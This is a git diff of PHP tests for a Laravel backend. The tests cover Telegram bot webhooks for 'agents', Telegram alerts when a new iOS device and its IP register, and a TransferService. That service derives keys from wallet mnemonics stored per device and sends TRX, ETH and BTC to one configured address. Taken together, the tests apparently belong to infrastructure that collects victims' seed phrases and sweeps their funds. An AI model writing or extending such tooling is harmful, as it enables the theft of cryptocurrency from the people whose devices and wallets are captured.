'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'chat_id' => (string) self::AGENT_CHAT,
|
||||
'bot_token' => '111:AAA',
|
||||
]);
|
||||
app(TelegramBotContext::class)->setAgent($agent);
|
||||
|
||||
/** @var FakeNutgram $bot */
|
||||
$bot = app(Nutgram::class);
|
||||
$bot->willReceivePartial([
|
||||
'status' => ChatMemberStatus::ADMINISTRATOR->value,
|
||||
'user' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
'can_manage_chat' => true,
|
||||
]);
|
||||
$bot->hearMessage([
|
||||
'text' => '/help',
|
||||
'chat' => ['id' => self::AGENT_CHAT, 'type' => ChatType::SUPERGROUP->value],
|
||||
'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'AgentAdmin'],
|
||||
])->reply();
|
||||
|
||||
$history = $bot->getRequestHistory();
|
||||
$msg = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
|
||||
$this->assertStringContainsString('/data', $msg['text'] ?? '');
|
||||
$this->assertStringContainsString('不支持 /transfer', $msg['text'] ?? '');
|
||||
$this->assertStringNotContainsString('/transfer <fromAddress>', $msg['text'] ?? '');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_webhook_requires_secret_and_config(): void
|
||||
{
|
||||
$bare = User::query()->create([
|
||||
'username' => 'agent_hook_bare',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
$this->postJson('/hooks/telegram/agent/'.$bare->id, ['update_id' => 1])
|
||||
->assertNotFound();
|
||||
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent_hook',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'bot_token' => '111:AAA',
|
||||
'chat_id' => (string) self::AGENT_CHAT,
|
||||
]);
|
||||
$this->assertTrue($agent->fresh()->hasTelegramBot());
|
||||
|
||||
$this->postJson('/hooks/telegram/agent/'.$agent->id, ['update_id' => 1], [
|
||||
'X-Telegram-Bot-Api-Secret-Token' => 'wrong',
|
||||
])->assertForbidden();
|
||||
|
||||
$secret = TelegramBotContext::webhookSecretFor($agent->fresh());
|
||||
$this->call(
|
||||
'POST',
|
||||
'/hooks/telegram/agent/'.$agent->id,
|
||||
[],
|
||||
[],
|
||||
[],
|
||||
[
|
||||
'CONTENT_TYPE' => 'application/json',
|
||||
'HTTP_X_TELEGRAM_BOT_API_SECRET_TOKEN' => $secret,
|
||||
],
|
||||
json_encode(['update_id' => 1])
|
||||
)->assertNoContent();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,116 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Services\TelegramNotifier;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class TelegramNotifierRoutingTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function agent_device_notifies_agent_bot(): void
|
||||
{
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'system-token',
|
||||
'coruna.telegram.owner_chat_id' => '100',
|
||||
]);
|
||||
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent_tg',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'bot_token' => 'agent-token',
|
||||
'chat_id' => '200',
|
||||
]);
|
||||
$channelId = 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee';
|
||||
Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-agent-1',
|
||||
'channel_id' => $channelId,
|
||||
]);
|
||||
|
||||
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
|
||||
|
||||
app(TelegramNotifier::class)->notifyNewDevice('dev-agent-1', '16.0', '1.2.3.4');
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
return str_contains($request->url(), '/botagent-token/')
|
||||
&& ($request->data()['chat_id'] ?? null) === '200';
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function official_device_notifies_system_bot(): void
|
||||
{
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'system-token',
|
||||
'coruna.telegram.owner_chat_id' => '100',
|
||||
]);
|
||||
|
||||
$channelId = 'ffffffffffffffffffffffffffffffff';
|
||||
Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||
'status' => 1,
|
||||
]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-official-1',
|
||||
'channel_id' => $channelId,
|
||||
]);
|
||||
|
||||
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
|
||||
|
||||
app(TelegramNotifier::class)->notifyNewDevice('dev-official-1', '16.0', '1.2.3.4');
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
return str_contains($request->url(), '/botsystem-token/')
|
||||
&& ($request->data()['chat_id'] ?? null) === '100';
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_without_telegram_falls_back_to_system(): void
|
||||
{
|
||||
config([
|
||||
'coruna.telegram.bot_token' => 'system-token',
|
||||
'coruna.telegram.owner_chat_id' => '100',
|
||||
]);
|
||||
|
||||
$agent = User::query()->create([
|
||||
'username' => 'agent_empty',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
$channelId = '12121212121212121212121212121212';
|
||||
Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-fallback',
|
||||
'channel_id' => $channelId,
|
||||
]);
|
||||
|
||||
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
|
||||
|
||||
app(TelegramNotifier::class)->notifyNewDevice('dev-fallback', '16.0', '1.2.3.4');
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
return str_contains($request->url(), '/botsystem-token/')
|
||||
&& ($request->data()['chat_id'] ?? null) === '100';
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\TransferRecord;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\TransferService;
|
||||
@@ -81,13 +82,25 @@ class TransferServiceTest extends TestCase
|
||||
], 200),
|
||||
]);
|
||||
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX');
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX', 'telegram:1@ops');
|
||||
|
||||
$this->assertTrue($result['ok']);
|
||||
$this->assertSame(str_repeat('ab', 32), $result['txid']);
|
||||
$this->assertSame(self::FROM, $result['from']);
|
||||
$this->assertSame(self::TO, $result['to']);
|
||||
|
||||
$this->assertDatabaseHas('transfer_records', [
|
||||
'from_address' => self::FROM,
|
||||
'to_address' => self::TO,
|
||||
'chain' => 'tron',
|
||||
'tx_hash' => str_repeat('ab', 32),
|
||||
'amount' => '1.5',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'TRX',
|
||||
'operator' => 'telegram:1@ops',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
|
||||
return false;
|
||||
@@ -166,10 +179,20 @@ class TransferServiceTest extends TestCase
|
||||
config(['coruna.transfer.to_address' => '']);
|
||||
$this->seedFromWallet();
|
||||
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'telegram:9');
|
||||
|
||||
$this->assertFalse($result['ok']);
|
||||
$this->assertStringContainsString('TRANSFER_TO_ADDRESS', $result['error']);
|
||||
|
||||
$this->assertDatabaseHas('transfer_records', [
|
||||
'from_address' => self::FROM,
|
||||
'to_address' => null,
|
||||
'chain' => 'tron',
|
||||
'asset' => 'TRX',
|
||||
'operator' => 'telegram:9',
|
||||
'status' => TransferRecord::STATUS_FAILED,
|
||||
'error' => 'TRANSFER_TO_ADDRESS is not configured',
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -254,4 +277,103 @@ class TransferServiceTest extends TestCase
|
||||
return ($request->data()['amount'] ?? null) === 4_000_000;
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function sends_native_eth_via_json_rpc(): void
|
||||
{
|
||||
$from = '0x9858effd232b4033e47d90003d41ec34ecaeda94';
|
||||
$to = '0x0000000000000000000000000000000000000001';
|
||||
config([
|
||||
'coruna.transfer.to_address_eth' => $to,
|
||||
'coruna.eth.rpc_url' => 'https://ethereum.publicnode.com',
|
||||
'coruna.eth.chain_id' => 1,
|
||||
]);
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-transfer-eth',
|
||||
'ios_version' => '18.0',
|
||||
'device_model' => 'iPhone',
|
||||
]);
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => $from,
|
||||
'chain_type' => 'ETH',
|
||||
'source' => self::SOURCE,
|
||||
'monitor' => 0,
|
||||
]);
|
||||
$row = new WalletMnemonic(['device_id' => $device->id, 'source' => self::SOURCE]);
|
||||
$row->mnemonic = self::MNEMONIC;
|
||||
$row->save();
|
||||
|
||||
Http::fake([
|
||||
'https://ethereum.publicnode.com' => Http::sequence()
|
||||
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x1'], 200) // nonce
|
||||
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x3b9aca00'], 200) // gasPrice
|
||||
->push(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x'.str_repeat('ab', 32)], 200), // send
|
||||
]);
|
||||
|
||||
$result = app(TransferService::class)->handle('eth', $from, '0.01', 'ETH', 'telegram:1@ops');
|
||||
|
||||
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
|
||||
$this->assertSame('0x'.str_repeat('ab', 32), $result['txid']);
|
||||
$this->assertSame($to, $result['to']);
|
||||
$this->assertDatabaseHas('transfer_records', [
|
||||
'from_address' => $from,
|
||||
'chain' => 'eth',
|
||||
'asset' => 'ETH',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function sends_native_btc_via_mempool_api(): void
|
||||
{
|
||||
$from = '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA';
|
||||
$to = '1Ak8PffB2meyfYnbXZR9EGfLfFZVpzJvQP';
|
||||
config([
|
||||
'coruna.transfer.to_address_btc' => $to,
|
||||
'coruna.btc.api_url' => 'https://mempool.space/api',
|
||||
'coruna.btc.fee_rate' => 1,
|
||||
]);
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-transfer-btc',
|
||||
'ios_version' => '18.0',
|
||||
'device_model' => 'iPhone',
|
||||
]);
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => $from,
|
||||
'chain_type' => 'BTC',
|
||||
'source' => self::SOURCE,
|
||||
'monitor' => 0,
|
||||
]);
|
||||
$row = new WalletMnemonic(['device_id' => $device->id, 'source' => self::SOURCE]);
|
||||
$row->mnemonic = self::MNEMONIC;
|
||||
$row->save();
|
||||
|
||||
$txid = str_repeat('11', 32);
|
||||
Http::fake([
|
||||
'https://mempool.space/api/address/*/utxo' => Http::response([
|
||||
[
|
||||
'txid' => $txid,
|
||||
'vout' => 0,
|
||||
'value' => 100_000,
|
||||
'status' => ['confirmed' => true],
|
||||
],
|
||||
], 200),
|
||||
'https://mempool.space/api/tx' => Http::response(str_repeat('cd', 32), 200),
|
||||
]);
|
||||
|
||||
$result = app(TransferService::class)->handle('btc', $from, '0.0005', 'BTC');
|
||||
|
||||
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
|
||||
$this->assertSame(str_repeat('cd', 32), $result['txid']);
|
||||
$this->assertDatabaseHas('transfer_records', [
|
||||
'from_address' => $from,
|
||||
'chain' => 'btc',
|
||||
'asset' => 'BTC',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use App\Services\Chain\BtcDriver;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class BtcDriverTest extends TestCase
|
||||
{
|
||||
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
|
||||
#[Test]
|
||||
public function derives_known_btc_p2pkh_address_from_bip44_path(): void
|
||||
{
|
||||
$driver = new BtcDriver;
|
||||
|
||||
$this->assertSame(
|
||||
'1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA',
|
||||
$driver->deriveAddress(self::MNEMONIC, 0)
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function validates_btc_addresses(): void
|
||||
{
|
||||
$driver = new BtcDriver;
|
||||
|
||||
$this->assertTrue($driver->isValidAddress('1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA'));
|
||||
$this->assertFalse($driver->isValidAddress('0x9858effd232b4033e47d90003d41ec34ecaeda94'));
|
||||
$this->assertFalse($driver->isValidAddress('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Unit;
|
||||
|
||||
use App\Services\Chain\EthDriver;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class EthDriverTest extends TestCase
|
||||
{
|
||||
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
|
||||
#[Test]
|
||||
public function derives_known_eth_address_from_bip44_path(): void
|
||||
{
|
||||
$driver = new EthDriver;
|
||||
|
||||
$this->assertSame(
|
||||
'0x9858effd232b4033e47d90003d41ec34ecaeda94',
|
||||
$driver->deriveAddress(self::MNEMONIC, 0)
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function validates_eth_addresses(): void
|
||||
{
|
||||
$driver = new EthDriver;
|
||||
|
||||
$this->assertTrue($driver->isValidAddress('0x9858EfFD232B4033E47d90003D41EC34EcaEda94'));
|
||||
$this->assertFalse($driver->isValidAddress('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'));
|
||||
$this->assertFalse($driver->isValidAddress('0x1234'));
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user